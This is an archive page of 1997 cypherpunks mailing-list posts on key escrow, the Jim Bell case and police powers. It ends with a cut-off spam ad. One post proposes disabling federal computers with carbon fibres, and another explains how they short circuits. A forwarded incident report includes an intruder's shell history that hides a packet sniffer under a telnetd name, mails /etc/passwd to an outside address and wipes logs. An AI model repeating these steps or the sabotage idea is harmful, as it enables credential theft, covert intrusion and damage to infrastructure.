December 2003 - cypherpunks-legacy

NYC Crypto Forum
by John Young 17 Dec '03

17 Dec '03

Ray Arachelian taped the Cryptography Forum at the Association of the Bar of the City of New York last evening and will share once its transcribed. In the meantime: TITLE OF PROGRAM: Guns, Ammunition and Cryptography: Is the Government's Policy on Digital Encryption Creating a Crisis? MODERATOR: Charles R. Nesson, Professor, Harvard Law School PANELISTS: Matt Blaze, Co-author of Risks of Key Recovery paper. (short-notice invitee) Lynn McNulty (ex-NIST now RSA) filling in for Jim Bidzos Scott Charney, Computer Crime Unit, Department of Justice Kenneth W. Dam, Professor, University of Chicago Law School Dorothy E. Denning David J. Farber, University of Pennsylvania Marc Rotenberg, EPIC ----- Nesson asked the audience (about a hundred), "How many use encryption?" Over half raised hands. "Wow!" he said, "If I asked that of a law class at Harvard, maybe two or three hands would have been raised." Nesson then posed to the principal question: "Is the government's policy on cryptography creating a crisis?" Dam, Denning and Charney said no. Other panelists said yes. The audience by show of hands was about evenly split. There was intense discussion among the panelists but no change in position. Some highlights: David Kahn, in the audience, reaffirmed his support for key escrow, stating that it would not change the current legal provisions for electronically snooping, and why ask for more privacy than is now authorized. Blaze summarized the KR risks paper and pointed out the enormous expense of designing, implementing, operating and securing a global key recovery system -- which, as he ironically smiled, could make cryptographers and crypto-corps rich. That such a system might make security weaker by offering fewer choice targets to attack -- the key repositories. Blaze reminded that encryption will become pervasive in all electronic systems, not just communications. That it must be robust and untamperable or more and more crucial systems will be vulnerable to attack. And, the more complicated the security provisions the more likely they will fail. Farber stated that time was being wasted on KR debate while the nation's infrastructure remained immensely vulnerable to electronic attack. He said that with six students he could shut the system down in "a few days, with, say, spoof E-mail to key administrators." That ITEF is working on a next-generation system to prevent that, but meanwhile there is great risk. McNulty reaffirmed industry's position that other countries will develop robust encryption if the US does not allow export. Charney responded by pointing out that the administration seeks global commitment to key escrow among governments, and asserts they will comply for the same reasons the USG wants it. He said, for example, that countries may allow development of strong crypto but, like the US, will not allow export. He cited Japan's refusal to allow NTT's 128-bit export, and said Russia will surely not allow the export of the Sun/Elvis product. Same for France, Germany, and so forth. There was audience derision when Charney noted that the US must do as the Russians and Chinese and French do to control crypto. Interestingly, Charney did not cite The Wassenaar Arrangement, although Dam pointed out how difficult it was to reach agreement on the COCOM predecessor and enforce compliance with it. Nesson summarized Charney's position by saying, "do you mean that key escrow would do no more than help you catch criminals too stupid to use unescrowed crypto?" Charney nodded, and said that "nearly all all criminals we catch by electronic surveillance talk openly about being surveilled but do nothing about to avoid it." Nesson reiterated: "Do you mean that you want a system to catch stupid criminals while the nation's infrastructure is left vulnerable?" Charney, "That's not the right way to put it." Denning gave examples of her recent survey of law enforcement for examples of crypto use to hinder investigations. Finally, Dam noted that encryption policy was a different task than implementing encryption systems. That the detailed understanding of those who follow the encryption debate is not shared by the public nor by most officials. That agreement upon policy will require greater education for those who could not care less about the complications and subtleties being debated. An auditor queried: There seems to be agreement that encryption will work best when it is totally transparent to users, and the sooner that is devised the better. Why not just get on with it,? Blaze shook his head at this cluelessness, howled at the ceiling, sprouted fur, bared teeth, leaped Dave Farber, went for Charney's jugular, clawed Denning. Kahn and the suited audience ran screaming into the safe streets of Manhattan, while shaggy coders roared, "Kill, kill, kill the infrastructure-fuckers."

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NYC Crypto Forum Add
by John Young 17 Dec '03

17 Dec '03

A supplement to the NYC Crypto Forum: Toward the end Nesson asked, "How about the missing participant here, NSA?" Several panelists noted, "NSA's here, in the audience." (Nonesuch spoke, however.) Nesson went on to ask, "What about national security interests outweighing the right to privacy?" It was here that David Kahn offered his defense of key recovery. Farber and others responded that the problem is that the government is not trusted, that guards against abuse of power have not worked, that national security too often has been a cloak for illicit actions. Here, an audience member said that he worked at Salomon Brothers doing traffic analysis of vast E-mail, and that we should be aware that more electronic snooping is going on than most people know. How could we be sure that law enforcement would not similarly abuse systems set up to catch criminals for other purposes, as NSA allegedly does, and, now using the same methodolgies, as private companies do to spy on employees, customers and competitors. All panelists nodded at this, that it's hard to tell god from the devil, and crypto won't help.

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Re: The Bell Plan
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- TruthMonger #1 wrote: > John Young wrote: > > The Oregonian, May 20, 1997, Metro Section P-1: > > An affidavit says a Vancouver man arrested Friday talked of > > sabotaging Portland's 9-1-1 computer and Bull Run water > After reading this news article and a variety of posts on the cypherpunks > list (especially by Tim May and Paul Bradley), I have decided that I cannot > in good conscious allow Jim Bell's persecution for exercising his basic > human right to free speech to pass by without taking personal action to > support him. > "Then they came for the CypherPunks, and nobody spoke up..." > - Jonathan Neither can I. Although some on the list claim I live in an ivory tower while they live in the real world I haven't seen these cowards coming forward to engage in any meaningful protest of the railroading of Jim Bell. > Accordingly, I am hereby starting a thread on the cypherpunks list > to discuss "the possibility of putting the fibers down the air vents > of a federal building" to kill its computers, and the feasability > of using other methods to accomplish the same end. While I can't speak for the effectiveness of this approach, I would venture that any action of this sort would have a greater chance of success with the cooperation of a government employee such as myself who has access to the computers in the target area. (We are not all government shills.) > In keeping with what I see as a cypherpunk frame of mind, I am > posting this via an anonymous remailer, but I am also digitally > signing it. I am not hiding my identity, but merely taking > action to prevent my public statement from being used to unjustly > persecute me. I will do likewise. I am forced to slant my regular posts to the list to agree with government policy but unlike my detractors I at least have the courage to take a stance against my employer's unjust actions and challenge them to prove their case if they wish to retaliate against me for exercising my right to free speech. GovernmentMonger -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM4XjSRpK214wNeaBAQExsgP/fh3tfF+dATYzYtETNEnDf1jn0aCkU7/r 2BVORjdhBDGvOJLvJ/Yh1sHeaTNTiPPV/cv02nt0J+zf0V9RdYXXwGkjRaAXVSSA l5JgrN4XvCYEybUODvFsgXPcLY3p09L2QT4a4fIC264bfZLQuPmTSJqgPQDowSDB n4LKu727Dkg= =z3Er -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 5.0 beta mQCNAy/BlpsAAAEEAOfc0TkSKlc9TQbw4wYUpL+0YZ8rMXTGZOLUHJl5KZgGDHRR EiTtNcRB8Vl8psIT6GZ5FPu1VKduC3aaNuQEV9wKrXYzkmsMjtWIbYxsUZ9Rq/Vs 6Sl4B3GSKPMudhlSuaGWUZxhVTPdn0eLUz9hlRz/kZR2opurmRpK214wNeaBAAUR tCBLZW50IENyaXNwaW4gPGtlbnRAc29uZ2JpcmQuY29tPokAlQMFEDOFUs2X26C5 /DVozQEBR34D/2TzjEn8ING2PNdVB4K0Vy9HcXgKyKf81eACfxhC6J5cBr+MCUIj 7xAbsj2556EBDJKf955Od5xIauPfx7woMb+b7eTJg3lOekar327jSEX1feAfYG+e yhgPid04U0FdkGpLhqMdc6qSXHCYcnD9RVw27x4np+eE/iiQVzy+SF5eiQCVAwUQ L8GYbBvasrrONMAdAQFExwP/UK82Y4+Q7E6q+P8RcC4wPcJEx1I5VAmBuBc3eI1T h+Lw3f4RdJ9eaK6ooip8GQ3SwLOiNRN3Mj0+K/7y+T2smP0wLpcP6IXqs4kO0v0e QGd2uz6dvtWWb02jMuaG6gyt2SqhJ/hgHzgF22RsqO5Wtk5N/W/oG0f6L3trjNPR hh8= =G7R+ -----END PGP PUBLIC KEY BLOCK-----

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AP=MAFIA ?
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Italy remembers murdered anti-Mafia judge ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge whose ground-breaking Mafia investigations led to his murder five years ago. On Thursday, prosecutors in Sicily requested life jail terms for more than 30 bosses charged with the murder. Judge Giovanni Falcone, his wife Francesca Morvillo and three bodyguards were blown up on May 23, 1992, on a motorway outside the Sicilian capital Palermo. "Institutions and citizens have a duty not to forget," the speaker of the Chamber of Deputies (lower house), Luciano Violante, said in an anniversary message to the families of the victims. He called on Italians "to avoid the rhetoric of commemorations (and to) work with determination in the fight against the Mafia to defend those values of civility and legality" for which Falcone worked. Crimefighters including FBI director Louis Freeh, in Palermo for a memorial service, drove in convoy along the motorway. They stopped to pay tribute at the point where explosives packed under the road were detonated by remote control as Falcone's car passed. "We are not just honouring the memory of a single man but of many policemen, prosecutors and investigators which he represents," Freeh said. Prosecutors in the central Sicilian city of Caltanissetta requested life sentences on Thursday for 32 Mafiosi, including Cosa Nostra's jailed boss of bosses Salvatore Riina and some of his key lieutenants, who are charged with masterminding the murder. For Giovanni Brusca, the most senior member of the Mob to be captured in the past year, prosecutors sought a 30-year jail term. They cited mitigating circumstances since Brusca has admitted using the remote control device that triggered the blast. The trial was halted for five minutes on Friday as a mark of respect. The defence is expected to sum up late next month. A verdict is expected late this year. On Friday night thousands of Sicilians gathered for a pop concert held in Falcone's memory on an undeveloped tract of land in the city's outskirts near a villa where Riina spent part of his 23 years at large before his arrest in 1993. Falcone, a Sicilian, revolutionised Italy's war on the Mafia by tracking financial records that revealed the extent of the Mob's criminal activities and resources, and by persuading captured Mafioso to turn state's evidence. Testimony from "Men of Honour," who are sworn on pain of death to a code of silence or "omerta" when they are initiated into the Mafia, gave unprecedented insight into the feared society and led to the arrest of Riina and other bosses. The murder of Falcone, and two months later of his friend and colleague Paolo Borsellino in a car-bomb attack, horrified Italy and galvanised efforts to crack the Mafia and end the reign of terror imposed by Riina and his bloody Corleone clan. Palermo's chief prosecutor Giancarlo Caselli cautioned on Friday that Italy now risked slipping into complacency. "The Mafia seems to have become a second division problem, or even a non-problem, because people think...that police successes in the last few years are leading to a definitive solution of the problem. "That is not so," Caselli said in a radio interview. "The Mafia is still an extremely robust and highly dangerous beast." _________________________________________________________________ [ Global | Stateside | Sports | Politics | Opinions | Business | Techserver | Health & Science | Entertainment | Weather | Baseball | Basketball | Football | Hockey | Sport Server | MAIN ] _________________________________________________________________ Copyright ) 1997 Nando.net Do you have some feedback for the Nando Times staff? http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html

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Re: Key Recovery / The True Story
by Ernest Hua 17 Dec '03

17 Dec '03

> And some government spook is going to break into a church's computer > to find out if they are secret terrorists because they oppose this > or that government policy. This is an interesting point on which very little serious debate is taking place: Is it EVER okay for spooks to break into a church's computer to find out if they are secret terrorists? I'm not sure the answer is clearly one way or another, and I am willing to bet that the tone of the answers will mostly be emotional appeals to some idealistic standard or pessimistic nightmares. A meta question is whether the answer to a question like this one above can be answer strictly through a "for all practical purposes it would never affect me so it does not matter" answer. Ern -- Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707 Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua(a)chromatic.com -- Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707 Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua(a)chromatic.com -- Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707 Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua(a)chromatic.com

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Jim Bell Complaint
by John Young 17 Dec '03

17 Dec '03

We offer the May 16 complaint against Jim Bell: http://jya.com/jimbell3.htm The complaint draws upon previous search warrants at Greg Broiles's site: http://www.parrhesia.com/jimbell/

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Re: Jim Bell Complaint
by John Young 17 Dec '03

17 Dec '03

William Geiger wrote: >After reading the complaint I have to say that with friends like that >who needs enemies? True, if that's what the friends actually said, and if they were not induced to do so by being fed lethal information: don't go down with Bell, protect yourself, spill your guts. Recall that John Painter spoke to one or more of them and they hedged the remarks of the complaint, but he, too, saw the makings of a deal in the affadavit's allegations. Turning friends against friends is pretty common in investigations, using threats and promises of relief from possible charges, even saying that your friend is squealing on you. I was struck by how similar some remarks attributed to Bell were to those attributed to McVeigh, not that they were not made, but that the investigators chose to select just those to indicate lethal intent. The possible link between the McVeigh trial and Jim Bell's bust could indicate how the feds are itching to attack every advocate of anti-gov mayhem (no pun Tim). The IRS searching the Internet for incriminating advocacy is a warning of what's to come, as often predicted here. Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze did at the NYC crypto forum last night to challenge Charney and Denning. Matt pulled out a copy and cited it, which may be a good indication of what he knows that we don't about what's coming.

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Re: Police & military access (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > Date: Thu, 22 May 1997 23:23:31 -0700 > From: Kent Crispin <kent(a)songbird.com> > Subject: Re: Police & military access > > Do police have any civil rights not endowed to a individual citizen? > > No. But on the job, doing their state assigned duties, they have > access to instrumentalities not available to private citizens or > off-duty police. "On" and "off" duty may sometimes be a little fuzzy > in practice, but the principle is clear. It isn't a big deal, and > it's not a matter of civil rights. Which principle is clear? That police like to confuse the issue as much as possible to their advantage? Of course it is a matter of civil rights. The police are a representative of the CIVIL authorities, you have truly missed the entire point of the constitution. > A license to practice medicine > gives you the ability to prescribe morphine. A certain class of > drivers license lets you drive a school bus full of children. True, but there is NO law that can dictate which doctor I choose let alone if I choose one at all. At least there I have a choice, because of this the comparison you are trying to draw is broke. Jim Choate CyberTects ravage(a)ssz.com

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Re: Police & military access (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > Date: Fri, 23 May 1997 15:12:54 -0700 > From: Greg Broiles <gbroiles(a)netbox.com> > Subject: Re: Police & military access > >This would seem to support Jim Choate's general position. (Though I have my > >own skepticism that many jurisdictions think it is true.) > > Jim Choate's messages about cops and "civil rights" suggest that he's not > familiar with and/or interested in the basics of legal research. > Restrictions (and lack of restrictions) related to use of force, power to > arest, possession/use of weapons, etc., are mostly statutory. You can't > find them (or understand them) by starting with only the Constitution, and > then reasoning and deducing things from it. Absolutely, but those statutes MUST be referencable back to the Constitution. Something I freely admit is not the current case. If it were the current case this would be a very quite mailing list indeed. What a citizen can and can't do with a weapon is covered in the 2nd. It includes police. If I as a citizen can't have object x then a police officer can't have it, constitutionaly. > >From a moral or political perspective, (e.g., what *should* the > relationship between cops and citizens look like) what he writes is > perfectly reasonable. From a legal perspective (what is the law today?) > it's incomplete and thereby misleading. Absolutely, and if you are infering that I at any time in my life have EVER asserted that my speculation was the case then you need to take a reading comprehension course (as well as reflect on what the entire discussion on cypherpunks truly is at the core). What *should* be the case is the whole damn point. Jim Choate CyberTects ravage(a)ssz.com

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SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech)) (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > From: "William H. Geiger III" <whgiii(a)amaranth.com> > Date: Fri, 23 May 97 08:29:59 -0500 > No not at all. Just because I am connected to the network I am under no > obligation to accept a single bit. I don't have to ever download any mail > or I can download all or I can pick and choose what I accept or what I > don't. Exactly, This is the whole point of a firewall after all. Simply connecting your cable to a publicly accessible source implies no more than having your driveway end in a public street. It is NOT an open invitation to stroll through your living room. > Obviously you have not ever entered into contract agreements with an > accesses provider. There is no obligation on my part to receive a single > bit. If I never run a sendmail daemon then I will never receive a single > e-mail message regardless of how many are aimed at my servers. This is the > same with any TCP/IP service. The only obligation I have with my upstream > provider is to pay my bill. If I choose to bounce everything that is > routed from Spamford it is my right to do so as it is *MY* equipment. This is certainly the exact case between myself and my provider for SSZ. Jim Choate CyberTects ravage(a)ssz.com

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Re: Jim Bell Complaint
by John Young 17 Dec '03

17 Dec '03

We missed deleting one cite of Jim's "true" SSN in the complaint, which has now been done. Those who got early copies, consider ***-ing the num. Thanks. 'Course, IRS may have faked it, too.

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Re: Police & military access (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > Date: Fri, 23 May 1997 00:53:43 -0700 > From: Tim May <tcmay(a)got.net> > Subject: Re: Police & military access > I have no problem with the notion that there is no weapon, no technology > which certain government officials or police may have but which civilians > are *not* allowed to have. I don't think the Founders envisioned any such > circumstances. They considered such a state instrumentality in the army, the precise reason they didn't want a standing army in the first place (ie 2yr. limit on ALL military spending, something flaunted openly). They clearly didn't want such instrumentalities used by peace time forces and considering the constitutional ban on using military forces inside the borders of the US it seems clear they didn't want them used against the citizenry, period. > The usual cited case is of private ownership of nuclear weapons. You should read "Dad's Nuke". > (The Founders didn't know about nuclear weapons and biological weapons, At this time Simon De' Laplace was forming his first writings regarding how the sun worked. It discussed gaseous compression and its 'lighting'. Just about everything else in the paper was wrong. Tell that to all the Indians they intentionaly killed with smallpox infected blankets and their commen cold. While they did't didn't have a clue to the actual process they were well aware of how to deal with the diseases. I would say my experience is that the relative cluelessness held by the users of their technology clearly matched those we now trust with it. Jim Choate CyberTects ravage(a)ssz.com

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carbon fibers
by ichudov＠algebra.com 17 Dec '03

17 Dec '03

Reading all the discussions about Jim Bell, I became interested in the carbon fibers that Jim allegedly planned to use to disrupt the work of compiters. I would appreciate if anyone explained me how these fibers work, how small and thin they are, and so on. I am also curious when and how this use of these fibers was invented. Thank you. igor

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carbon fibers (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > Subject: carbon fibers > Date: Fri, 23 May 1997 21:11:00 -0500 (CDT) > From: ichudov(a)algebra.com (Igor Chudov @ home) > Reading all the discussions about Jim Bell, I became interested in > the carbon fibers that Jim allegedly planned to use to disrupt the > work of compiters. > > I would appreciate if anyone explained me how these fibers work, how > small and thin they are, and so on. I am also curious when and how this > use of these fibers was invented. Carbon is commenly used in electronics because when compressed it generates a small voltage, ala your phone receiver. It can be both a insulator or a conductor depending on how one fills the outer valence band. Because its 'natural' state is -4 (it has 8 positions and only 4 are filled with electrons) it makes a fair conductor. Yet, it is not listed in most Activity Series for metals. I believe the idea is that since it is a reasonable conductor that when it falls across parallel lands on the pcb of a cpu it will short the lines. This would not only affect the reliability of the data because of current leakage but might in some cases cause an actual failure because of incorrect voltage or current. Some relevant physical data to consider: [1] Data from the Periodic Table: Carbon (C) 6/12.011 Valences +2, +4, -4 2.62 g/cm^3 @ STP M.P. 4100 B.P. 4470 Hexagonal crystal structure Electronegativity 2.55 (metal) (if anyone can find the conductivity I would appreciate it, it wasn't in [1] or the CRC that I have) [1] The Addison-Wesley Science Handbook: For scientists, writers, and science buffs G.J. Coleman, D. Dewar ISBN 0-201-76652-3 Jim Choate CyberTects ravage(a)ssz.com

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Re: NYC Crypto Forum
by geeman 17 Dec '03

17 Dec '03

At 01:40 PM 5/23/97 -0400, John Young wrote: >Some highlights: > >David Kahn, in the audience, reaffirmed his support for >key escrow, stating that it would not change the current >legal provisions for electronically snooping, and why ask >for more privacy than is now authorized. /\/\/\/\/\ Does anyone else see the horror in this? /\/\/\/\/\/\/\

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System Attack & FBI (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Hi, For your amusement. Jim Choate CyberTects ravage(a)ssz.com Forwarded message: > From ravage(a)ssz.com Fri May 23 23:28:29 1997 > From: Jim Choate <ravage(a)ssz.com> > Message-Id: <199705240428.XAA22380(a)einstein.ssz.com> > Subject: System Attack & FBI > To: users(a)einstein.ssz.com > Date: Fri, 23 May 1997 23:28:27 -0500 (CDT) > Cc: staff(a)einstein.ssz.com > X-Mailer: ELM [version 2.4 PL23] > Content-Type: text > Content-Length: 7477 > > > Hi, > > As you will see below I have been tracking a waskelly wabbit for the last > few weeks. I apologize for any interference with your access but I could > not let it go without some sort of responce. > > I *STRONGLY* advise you to change your password immediately. > > I do not expect anyone other than myself to have to talk with the FBI. > > If you have any questions please feel free to email me. > > Jim Choate > CyberTects > ravage(a)ssz.com > > > Forwarded message: > > > From rberger(a)rberger.com Fri May 23 23:13:34 1997 > > Message-Id: <3.0.1.32.19970523234327.006eefec(a)rberger.com> > > X-Sender: rberger(a)rberger.com > > X-Mailer: Windows Eudora Pro Version 3.0.1 (32) > > Date: Fri, 23 May 1997 23:43:27 -0500 > > To: Jim Choate <ravage(a)einstein.ssz.com> > > From: rberger <rberger(a)rberger.com> > > Subject: Re: You have a hacker! > > In-Reply-To: <199705240343.WAA22299(a)einstein.ssz.com> > > Mime-Version: 1.0 > > Content-Type: text/plain; charset="us-ascii" > > > > Thank you very much for sending us an e-mail and your logs. We are going > > through > > our FTP logs at this time. Although initial results don't show > > corresponding ftps at these > > times or files. Although a week ago we were fighting a hacker using the > > a same > > techquies as shown by the telnet sessions. So we will be monitoring > > everything very > > closely here for a few more days. Our next search will be the accounts > > logged in on > > these ports at the times given. We have been working with the FBI, along > > with several > > other ISP's in Dallas. If you capture any other logs please send them > > again to > > root(a)applink.net. If you dont hear anything from us in less than 24 hours > > please re-send > > your e-mail message again to my domain rberger(a)rberger.com just in case the > > root e-mail/logs are being monitored & modified. > > > > Regards, > > > > Randall Berger, CEO > > AppLink Corporation > > > > > > At 10:43 PM 5/23/97 -0500, you wrote: > > > > > >Hello, > > > > > > > > > My name is Jim Choate, I own and operate CyberTects a small office - home > > > office consultancy in Austin, TX. Over the last couple of weeks I have been > > > tracking an intrusion on my system that has involved your systems. I would > > > appreciate any help you can provide in resolving this issue. > > > > > > I believe a home account for the perp is dkny007(a)hotmail.com > > > > > > I will attach below the relevant files. > > > > > > > > > Jim Choate > > > CyberTects > > > ravage(a)ssz.com > > > > > > -------------------------------------------------------------------------- > > > > > > bbixler ttyp0 app42-73.applink Fri May 23 16:04 - 16:06 (00:01) > > > bbixler ttyp0 app42-75.applink Fri May 23 00:21 - 00:28 (00:07) > > > bbixler ttyp0 app42-90.applink Thu May 22 13:33 - 13:37 (00:03) > > > bbixler ttyp0 app41-50.applink Wed May 21 20:01 - 20:31 (00:30) > > > bbixler ttyp0 app41-47.applink Wed May 21 19:53 - 19:54 (00:00) > > > bbixler ttyp0 app42-85.applink Wed May 21 18:46 - 19:00 (00:14) > > > bbixler ttyp0 app42-75.applink Wed May 21 10:39 - 10:40 (00:00) > > > bbixler ttyp0 app41-52.applink Sun May 18 23:04 - 23:11 (00:07) > > > bbixler ttyp1 app42-78.applink Sat May 17 18:46 - 18:49 (00:02) > > > bbixler ttyp1 app42-67.applink Sat May 17 01:22 - 01:26 (00:03) > > > bbixler ftp fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28 (00:01) > > > bbixler ttyp1 app42-94.applink Tue May 13 16:12 - 16:18 (00:05) > > > bbixler ttyp0 app42-85.applink Mon May 12 17:02 - 17:05 (00:02) > > > bbixler ttyp0 app42-73.applink Sun May 11 12:29 - 12:36 (00:07) > > > bbixler ttyp0 app42-71.applink Sat May 10 20:15 - 20:17 (00:01) > > > bbixler ttyp0 app42-71.applink Sat May 10 19:40 - 19:50 (00:09) > > > bbixler ttyp0 max2-800-04.eart Wed Feb 12 18:05 - 18:06 (00:00) > > > > > > wtmp begins Sun Feb 2 16:36 > > > > > > -------------------------------------------------------------------------- > > > > > > whoami > > > ls > > > mv perl-ex.sh /tmp/.bgg > > > mkdir /tmp/.bg > > > cd /tmp > > > cd .bg > > > ls > > > lynx > > > ls > > > gcc linsniffer.c > > > ls > > > ps > > > who > > > w > > > ps aux > > > a.out & > > > ls > > > ifconfig > > > /sbin/ifconfig > > > ls > > > tail -f tcp.log > > > free > > > ls > > > cat tcp.log > > > cd .. > > > ls > > > w > > > cd > > > cd .. > > > ls > > > cd .. > > > cd /etc > > > ls > > > minicom > > > cd .. > > > ls > > > cd cdrom. > > > cd cdrom > > > ls > > > cd .. > > > cd > > > ls > > > cd bin > > > ls > > > cd .. > > > cd .. > > > ls > > > w > > > finger > > > cd Pphantom > > > cat /etc/passwd | grep Pphantom > > > cd phantom > > > ls > > > ls -al > > > cat .bash_history > > > cd /etc > > > cat hosts > > > ls > > > cd /tmp > > > cd .bg > > > cat tcp.log > > > exit > > > cd .bg > > > ls > > > w > > > ls > > > ls -al > > > cat tcp.log > > > ifconfig > > > /sbin/ifconfig > > > ls > > > exit > > > mv x.sh /tmp > > > cd .bg > > > ls > > > cd /tmp > > > ls > > > mv x.sh .bg > > > cd .bg > > > ls > > > kill -9 14523 > > > ps aux > > > mv a.out in.telnetd > > > ls > > > rm tcp.log > > > ./in.telnetd & > > > exit > > > pico tcp.log > > > ls > > > ps aux > > > kill -9 16282 > > > ls > > > ./in.telnetd & > > > exit > > > cat /dev/null > tcp.log > > > w > > > exit > > > pico tcp.log > > > ls > > > ls -al > > > cd /etc > > > cat passwd > > > mail dkny007(a)hotmail.com < passwd > > > exit > > > w > > > ls -al > > > pico tcp.log > > > echo /dev/null > tcp.log > > > ls -al > > > ps aux > > > quit > > > exit > > > id > > > w > > > ftp > > > ls > > > mkdir /home/ftp/.tmp > > > mkdir /home/ftp/.tmp/.sub > > > mv linsniff /home/ftp/.tmp/.sub/ > > > cd /home/ftp/.tmp/.sub/ > > > mv linsniff in.te1netd > > > ls -l > > > chmod 755 in.te1netd > > > in.te1netd & > > > ps > > > ps aux > > > killall in.te1netd > > > ls > > > ls -a > > > ls -l > > > in.te1netd & > > > /home/ftp/.tmp/.sub/in.te1netd > > > /home/ftp/.tmp/.sub/in.te1netd > > > ls -s > > > rm in.te1netd > > > cd > > > ls > > > mv hello .h311o > > > ftp > > > ls > > > mv linsniffer.c /home/ftp/.tmp/.sub/ > > > cd /home/ftp/.tmp/.sub > > > ls > > > cc linsniffer.c > > > mv a.out in.te1netd > > > chmod 755 in.te1netd > > > ls > > > rm linsniffer.c > > > in.te1netd & > > > exit > > > cd .. > > > mv apache.tgz .bg > > > cd .bg > > > ls > > > tar xfvz apache.tgz > > > cd apache_1.2b10/ > > > ls > > > cd src > > > make > > > ls > > > ./Configure > > > make > > > ls > > > cd .. > > > ls > > > cd cgi-bin/ > > > ls > > > cd .. > > > ls > > > cd .. > > > ls > > > w > > > rm -rf apache* > > > lynx > > > ls > > > tar xfvz apache_1.1.3.tar.gz > > > cd apache_1.1.3 > > > ls > > > cd src > > > ls > > > ./Configure > > > make > > > ls > > > cd .. > > > ls > > > cd .. > > > ls > > > rm -rf apache_1.1.3 > > > ls > > > rm -rf apache_1.1.3.tar.gz > > > w > > > exit > > > kill -9 14551 > > > ls > > > ls -al > > > cd .. > > > ls > > > cd /home > > > ls > > > cd ftp > > > ls -al > > > cd .tm[p > > > cd .tmp/ > > > ls > > > ls -al > > > cd .sub/ > > > ls > > > rm * > > > cd .. > > > cd .. > > > rm -rf .tmp/ > > > ls > > > cd > > > ls > > > cd /root > > > ls > > > cd ssz > > > ls > > > cd .. > > > ls > > > cd pgp > > > ls > > > cd .. > > > cd etc > > > ls > > > cd .. > > > ls > > > cd / > > > ls > > > exit > > > id > > > crontab -e > > > ls > > > vi .sub > > > crontab -e > > > ls > > > cat /home/ftp/.tmp/.sub/tcp.log > > > ps aux > > > who > > > cd /home/ftp > > > ls -a > > > mkdir .tmp/.sub > > > mkdir .tmp > > > cd .tmp > > > exit > > > cd > > > ls > > > cd /root > > > ls > > > cd khg-0.5/ > > > ls > > > cd .. > > > cat .bash_history > > > ls > > > cd /etc > > > ls > > > cat hosts > > > exit > > > > > > > > > > > > > > >

3 2

"How to E-X-P-0-S-E Infidelity" . . .
by Staff＠ExposeInfidelity.com 17 Dec '03

17 Dec '03

>From the offices of . . . Virginia Claims Corporation Statewide Claims Investigations Workers' Compensation Specialists 11232 Midlothian Turnpike, Suite 220 Richmond, Va 23235-4714 Dear Friend: Hi...my name is Britt Phillips. If you suspect infidelity, or know someone who does . . .please take a couple of minutes to read this. I am very excited about the many people from all walks of life who have truly benefited from the publications that I have put together. I have been a fully licensed Private Investigator for almost eleven years. I currently work within a full caseload. My clients include attorney's,insurance companies, physicians as well as those in the corporate and private sector. I have very extensive knowledge as a direct result of working many different types of cases over this period of time. I currently focus my investigative services in the areas of insurance fraud and domestic and family issues. My background includes an honorable tour in the United States Navy as an Operations Specialist in the operational intelligence division. In this capacity I held a secret clearance and routinely handled very sensitive information vital to national security. In addition to these responsibilities I was also a member of an elite team who's members gathered intelligence as it relates to other countries around the world by photographing weapons and electronics systems and by gathering information about them useful in strategy. I have served at the Pentagon and have many personal memories of service to my country. I also have security experience in a major retail company as a loss prevention expert. In this capacity I continued my investigative skills and worked my way up to be placed in charge of three locations. It was while in this capacity that I was introduced to the investigative field and fell in love with all that it has to offer. I began in the trenches so to speak and worked my way up in a major investigative firm. I remained there for 4 years. I was well known by the company president as an eager investigator wanting to learn every type of case imaginable. I was turned down an offer to open a satellite office for this company during its expansion phase. I accepted a position with another firm and took over a lagging investigative company. I remained there for three years and ended my tenure with the title of investigations director! Some of my past cases include: Workers' Compensation, Narcotics, Homicide, Missing Persons, Adoption Searches, Skip Traces, Domestic & Family Issues,Child Custody, Infidelity, Criminal, Civil, Process Service, Witness Location, Background Checks, Contract Disputes, Asset Checks, Theft, Fraud, Personal Injury, Auto Liability, Automobile Repossession, Hit and Run and many many others. Our hope is that this has given you a tool from which to measure my knowledge and experience. Your comfort level is very important to us and it will remain the same way long after you purchase publications from our office. We are committed to providing YOU with the quality,efficient, honest, reliable service that you not only deserve but should demand. "How to Expose Infidelity" is a publication that I am very pleased to be a part of. It includes many helpful sections that will literally change your life forever. I can say this because most people make many mistakes when they are suddenly confronted with an infidelity situation. There also is the factor that many don't discover the infidelity until after the lawyers have walked away and the case is resolved. This can be a major loss to anyone especially when children and settlements are concerned. In this same light it is very crucial to document infidelity from the earliest stages. The early stages when infidelity is first suspected are the most crucial to your case. Now you can learn from my many years of field experience working these types of cases. This is a very important time and unfortunately most people allow their emotions to rule their intellect and do things that actually jeopardize their own case. It's only after these mistakes are pointed out that they are aware of them.Yes, that's right you guessed it, by then it's way to late! in "How to Expose Infidelity" YOU will learn what to do and when to do it. YOU will learn about hidden clues that are consistent with those involved in infidelity. YOU will learn the all important things to ask your attorney and investigator and how to interview each to make sure you are getting fair,competent representation. YOU will learn the most common mistakes that almost everyone makes and how to avoid them! YOU will learn how to channel your emotions and save your case instead of unknowingly doing things that compromise you. But please...don't take my word for it. Read for yourself what other current owners have said: "Your help made the greatest difference in my personal 